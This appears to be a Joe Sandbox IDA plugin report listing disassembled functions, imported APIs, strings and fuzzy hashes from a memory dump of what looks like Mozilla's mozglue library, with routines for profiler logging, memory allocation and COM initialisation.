Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: e79ecfc0600d07f5e7d74e056c6f18002c9654907188559141ce6176af639f08
Instruction ID: 45844719634e65e4b46c117db601d11bba8ee23bd4bde61d9af60365dc4dfd79
Opcode Fuzzy Hash: e79ecfc0600d07f5e7d74e056c6f18002c9654907188559141ce6176af639f08
Instruction Fuzzy Hash: E741F4B1B002159FCB08CFA8DC819AE7365EF85324B24472CE916DB794EB71E905C7E6

Function 6C63B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C63B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C63B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C63B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C63B5F4
__Init_thread_footer.LIBCMT ref: 6C63B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C63B61F
std::_Facet_Register.LIBCPMT ref: 6C63B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63B655

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 618b3f60c41178d0e50cf357984c608d3d38a058c7339ac125fa64fc0fd82250
Instruction ID: 1479cd522143159eadecc77e8c81b0739fd9ea4a0775f0665f34cbca85d0dcc9
Opcode Fuzzy Hash: 618b3f60c41178d0e50cf357984c608d3d38a058c7339ac125fa64fc0fd82250
Instruction Fuzzy Hash: 5C318471B00514CBCB04EF6AC8949AEB7F5EBC6329F148565D91697740DB30A806CF9A

Function 6C606590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C5FFA80: GetCurrentThreadId.KERNEL32 ref: 6C5FFA8D
Part of subcall function 6C5FFA80: AcquireSRWLockExclusive.KERNEL32(6C64F448), ref: 6C5FFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C606727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6067C8

Part of subcall function 6C614290: memcpy.VCRUNTIME140(?,?,6C622003,6C620AD9,?,6C620AD9,00000000,?,6C620AD9,?,00000004,?,6C621A62,?,6C622003,?), ref: 6C6142C4

Strings

data, xrefs: 6C606593
vdl, xrefs: 6C60696C

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vdl
API String ID: 511789754-386935523
Opcode ID: 9657c0aae4ea4bab5da6ce231ef095c7bc34d3e7e0b3299bce983c80f214cd52
Instruction ID: cc8f291558a76bfb942bf7833422889ecfb901b461604aaa7b13aaeec9e503ec
Opcode Fuzzy Hash: 9657c0aae4ea4bab5da6ce231ef095c7bc34d3e7e0b3299bce983c80f214cd52
Instruction Fuzzy Hash: 7CD1BE75A083408FD724DF29C851B9BB7F1AFC5308F10892DE48997B51EB30E849CB5A

Function 6C5FD5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C5CEB57,?,?,?,?,?,?,?,?,?), ref: 6C5FD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C5CEB57,?), ref: 6C5FD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C5CEB57,?), ref: 6C5FD673
free.MOZGLUE(?), ref: 6C5FD888

Strings

|Enabled, xrefs: 6C5FD81E
W\l, xrefs: 6C5FD5D9, 6C5FD63F

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: W\l$|Enabled
API String ID: 4142949111-1860622590
Opcode ID: 5e7139faa8ed94366c1ad6c6087c676445bf48dc9659d2f963a09a1a21b25b95
Instruction ID: cd282508b4fbb44e8c79b7e829fb55910c83f5f3d316a6671a10ca1758c25ac4
Opcode Fuzzy Hash: 5e7139faa8ed94366c1ad6c6087c676445bf48dc9659d2f963a09a1a21b25b95
Instruction Fuzzy Hash: 6EA1F370A01308CFDB15DF69C8907AEBBF1AF4A318F14845CD8A9AB741D735A846CFA1

Function 6C5DB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C61CC83,?,?,?,?,?,?,?,?,?,6C61BCAE,?,?,6C60DC2C), ref: 6C5DB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C61CC83,?,?,?,?,?,?,?,?,?,6C61BCAE,?,?,6C60DC2C), ref: 6C5DB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C61CC83,?,?,?,?,?,?,?,?,?,6C61BCAE), ref: 6C5DB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C61CC83,?,?,?,?,?,?,?,?,?,6C61BCAE,?,?,6C60DC2C), ref: 6C5DB896

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 1454421839339cad042a166d7389471180d7028d77a92c52906f7640d8327c20
Instruction ID: 46b0df6802daba7699a0ce15cd5c7a48bbcbbce8452618faa4eb08bd238d147b
Opcode Fuzzy Hash: 1454421839339cad042a166d7389471180d7028d77a92c52906f7640d8327c20
Instruction Fuzzy Hash: 81517B357006008FCB14EF5DC894A2AB7F6FF89318B6A895DE98A97341C731F841CB88

Function 6C611D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C611D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C611BE3,?,?,6C611D96,00000000), ref: 6C611D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C611BE3,?,?,6C611D96,00000000), ref: 6C611D4C
GetCurrentThreadId.KERNEL32 ref: 6C611DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C611DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C611DDA

Part of subcall function 6C611EF0: GetCurrentThreadId.KERNEL32 ref: 6C611F03
Part of subcall function 6C611EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C611DF2,00000000,00000000), ref: 6C611F0C
Part of subcall function 6C611EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C611F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C611DF4

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 2f6ae25598b91b889b5ea630525f77278e85f147f7f20f35b57fc5501f597155
Instruction ID: a030ac78bec3b4807dd6536e98538d4175c4751960b50d0c5b102e5a873f91e1
Opcode Fuzzy Hash: 2f6ae25598b91b889b5ea630525f77278e85f147f7f20f35b57fc5501f597155
Instruction Fuzzy Hash: FB418BB56047049FCB10DF29C888A5ABBF9FF89318F10846DE95A87B41CB71F814CB99

Function 6C6084E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6084F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C60850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C60851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C60855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C60856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6085AC

Part of subcall function 6C607670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C60767F
Part of subcall function 6C607670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C607693
Part of subcall function 6C607670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6076A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6085B2

Part of subcall function 6C5E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5E5EDB
Part of subcall function 6C5E5E90: memset.VCRUNTIME140(ewbl,000000E5,?), ref: 6C5E5F27
Part of subcall function 6C5E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5E5FB2

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 971c5d308855dfda1ad7c7dfbbf38e67c9430c7d09c86c9db0d4b9c61c6797c9
Instruction ID: 60617095c7f1371ff721013b98745b418f7a3bde70f5c1420839065037e7667c
Opcode Fuzzy Hash: 971c5d308855dfda1ad7c7dfbbf38e67c9430c7d09c86c9db0d4b9c61c6797c9
Instruction Fuzzy Hash: 6C21A3743006019FDB19DF25C888A5A77B5AF8930DF24882DE55BD3B41DB32F948CB59

Function 6C5D1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5D1699
VerSetConditionMask.NTDLL ref: 6C5D16CB
VerSetConditionMask.NTDLL ref: 6C5D16D7
VerSetConditionMask.NTDLL ref: 6C5D16DE
VerSetConditionMask.NTDLL ref: 6C5D16E5
VerSetConditionMask.NTDLL ref: 6C5D16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5D16F9

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 67577ebe49d17a3ccec59061c3a02b290e4df63e0576019460d4237ec7c7040e
Instruction ID: 23cee11a65e2504c8b69f99396196c1f5b04b2deaa21d13bf2f59a05d4a61989
Opcode Fuzzy Hash: 67577ebe49d17a3ccec59061c3a02b290e4df63e0576019460d4237ec7c7040e
Instruction Fuzzy Hash: 1A2105B07443086FEB10AA69CC85FBBB37CDFC6714F018528F6059B5C0C675AD54C6A9

Function 6C60F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5FCBE8: GetCurrentProcess.KERNEL32(?,6C5C31A7), ref: 6C5FCBF1
Part of subcall function 6C5FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5C31A7), ref: 6C5FCBFA

Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
Part of subcall function 6C609420: __Init_thread_footer.LIBCMT ref: 6C60949F

GetCurrentThreadId.KERNEL32 ref: 6C60F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C60F598), ref: 6C60F621

Part of subcall function 6C6094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6094EE
Part of subcall function 6C6094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C609508

GetCurrentThreadId.KERNEL32 ref: 6C60F637
AcquireSRWLockExclusive.KERNEL32(6C64F4B8,?,?,00000000,?,6C60F598), ref: 6C60F645
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8,?,?,00000000,?,6C60F598), ref: 6C60F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C60F62A

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 043f63798c2b444865e288ebabb86b427423d5d651e607e537e082cbfa119955
Instruction ID: 9a92f19a6610737584b725332530df99a0d0ceb9258de24e5a05393cdbc1f128
Opcode Fuzzy Hash: 043f63798c2b444865e288ebabb86b427423d5d651e607e537e082cbfa119955
Instruction Fuzzy Hash: 5711C475301604ABCB08BF1AD984D99777AFFC636CF508015EA0593F01CB31A811CBAE

Function 6C5D2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5FAB89: EnterCriticalSection.KERNEL32(6C64E370,?,?,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB94
Part of subcall function 6C5FAB89: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FABD1

LoadLibraryW.KERNEL32(combase.dll,6C5D1C5F), ref: 6C5D20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C5D20CD
__Init_thread_footer.LIBCMT ref: 6C5D20E1
FreeLibrary.KERNEL32 ref: 6C5D2124

Strings

CoInitializeSecurity, xrefs: 6C5D20C7
combase.dll, xrefs: 6C5D20A9

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: b85af50a5f32b6d9e37275ca3feae109d9ceaa982e414aff63f2928b481962f5
Instruction ID: 2f734a45c0329868966fadabe5abbf3640208401f62f51152b119942720f4a56
Opcode Fuzzy Hash: b85af50a5f32b6d9e37275ca3feae109d9ceaa982e414aff63f2928b481962f5
Instruction Fuzzy Hash: 25219575200209EFDF15EF5ADC88E9A3F75FB4A359F11C014FA1452A10D7319862CF6A

Function 6C6276C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6276F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C627705

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C627717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C62778F,00000000,00000000,00000000,00000000), ref: 6C627731
free.MOZGLUE(00000000), ref: 6C627760

Strings

}>`l, xrefs: 6C6276C4

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>`l
API String ID: 2538299546-3072141587
Opcode ID: 4c9598bda6d2e90a084a4de389eb9d0ca17d6f97fe1f1d20a2e0b83aeeb7daae
Instruction ID: c3d4378455803f95b78f1705808f51f36872603c8c697ba22f0fcb4c9f401e01
Opcode Fuzzy Hash: 4c9598bda6d2e90a084a4de389eb9d0ca17d6f97fe1f1d20a2e0b83aeeb7daae
Instruction Fuzzy Hash: 6D11B6B1905225ABD710AF76DC44BAB7EF8EF85354F044529F88897300E77498408BE6

Function 6C5D1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5FAB89: EnterCriticalSection.KERNEL32(6C64E370,?,?,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB94
Part of subcall function 6C5FAB89: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C5D1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C5D1FFD
__Init_thread_footer.LIBCMT ref: 6C5D2011
FreeLibrary.KERNEL32 ref: 6C5D2059

Strings

CoCreateInstance, xrefs: 6C5D1FF7
combase.dll, xrefs: 6C5D1FD9

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 29fc6161165d9ef6e589fb0312c37ca410622e29afb0a67f8a83c5f0f5050102
Instruction ID: 32daca72a7b71193d3617e42cc059990e214baf1b9e43c534fa247f887c16258
Opcode Fuzzy Hash: 29fc6161165d9ef6e589fb0312c37ca410622e29afb0a67f8a83c5f0f5050102
Instruction Fuzzy Hash: 97117C75205204EFEF18EF1ACC88E5B3B79EB9635DF00C029E91482640D731A861CFAA

Function 6C5D0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5FAB89: EnterCriticalSection.KERNEL32(6C64E370,?,?,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB94
Part of subcall function 6C5FAB89: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C5FD9F0,00000000), ref: 6C5D0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C5D0F3C
__Init_thread_footer.LIBCMT ref: 6C5D0F50
FreeLibrary.KERNEL32(?,6C5FD9F0,00000000), ref: 6C5D0F86

Strings

CoInitializeEx, xrefs: 6C5D0F36
combase.dll, xrefs: 6C5D0F18

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: b08ba57f2096b3538400d8a4aa41b0ff22a02031b0fd70db0a7ab4feb17b6512
Instruction ID: 8f071aa9ad6c78448b1dd1fd6f9e96fb96bad741c7f267a215224122894ab938
Opcode Fuzzy Hash: b08ba57f2096b3538400d8a4aa41b0ff22a02031b0fd70db0a7ab4feb17b6512
Instruction Fuzzy Hash: 3011A374305341DBDF08EF5ACD88E9A3774EBDA32AF12C61AE90582640D732A402CE5F

Function 6C60F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
Part of subcall function 6C609420: __Init_thread_footer.LIBCMT ref: 6C60949F

GetCurrentThreadId.KERNEL32 ref: 6C60F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60F561

Part of subcall function 6C6094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6094EE
Part of subcall function 6C6094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C609508

GetCurrentThreadId.KERNEL32 ref: 6C60F577
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60F585
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C60F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C60F3A8
[I %d/%d] profiler_resume, xrefs: 6C60F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C60F499

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

